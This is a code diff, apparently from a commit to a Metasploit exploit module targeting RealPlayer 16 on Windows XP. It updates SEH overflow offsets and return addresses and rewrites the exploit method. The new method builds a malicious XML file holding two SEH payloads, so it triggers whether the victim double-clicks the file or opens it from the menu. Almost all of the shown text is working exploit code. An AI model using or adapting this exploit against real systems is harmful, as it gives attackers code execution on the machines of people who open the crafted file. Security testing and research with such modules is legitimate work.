@@ -49,16 +49,16 @@ def initialize(info = {})
49
49
[
50
50
[ 'Windows XP SP2/SP3 (NX) / Real Player 16.0.3.51' ,
51
51
{
52
- 'Offset ' => 2540 ,
53
- 'Ret ' => 0x641930c8 , # POP POP RET from rpap3260.dll
54
- 'Max ' => 3095 , # overflow occurs at 3080 byte
52
+ 'OffsetClick ' => 2540 , # Open via double click
53
+ 'OffsetMenu ' => 13600 , # Open via File -> Open
54
+ 'Ret ' => 0x641930C8 , # POP POP RET from rpap3260.dll
55
55
}
56
56
] ,
57
57
[ 'Windows XP SP2/SP3 (NX) / Real Player 16.0.2.32' ,
58
58
{
59
- 'Offset ' => 2540 ,
60
- 'Ret ' => 0x63A630B8 , # POP POP RET from rpap3260.dll
61
- 'Max ' => 3095 , # overflow occurs at 3080 byte
59
+ 'OffsetClick ' => 2540 , # Open via double click
60
+ 'OffsetMenu ' => 13600 , # Open via File -> Open
61
+ 'Ret ' => 0x63A630B8 , # POP POP RET from rpap3260.dll
62
62
}
63
63
]
64
64
] ,
@@ -76,16 +76,15 @@ def initialize(info = {})
76
76
77
77
def exploit
78
78
79
- sploit = "<?xml version=\" " ;
80
- sploit << rand_text_alpha_upper ( target [ 'Offset' ] )
79
+ sploit = rand_text_alpha_upper ( target [ 'OffsetClick' ] )
81
80
sploit << generate_seh_payload ( target . ret )
82
- sploit << make_nops ( target [ 'Max' ] -sploit . length )
83
- sploit << "\" ?>" ;
81
+ sploit << rand_text_alpha_upper ( target [ 'OffsetMenu' ] - sploit . length )
82
+ sploit << generate_seh_payload ( target . ret )
83
+ sploit << rand_text_alpha_upper ( 17000 ) # Generate exception
84
84
85
85
# Create the file
86
86
print_status ( "Creating '#{ datastore [ 'FILENAME' ] } ' file ..." )
87
-
88
- file_create ( sploit )
87
+ file_create ( "<?xml version=\" " + sploit + "\" ?>" )
89
88
90
89
end
91
90
end
0 commit comments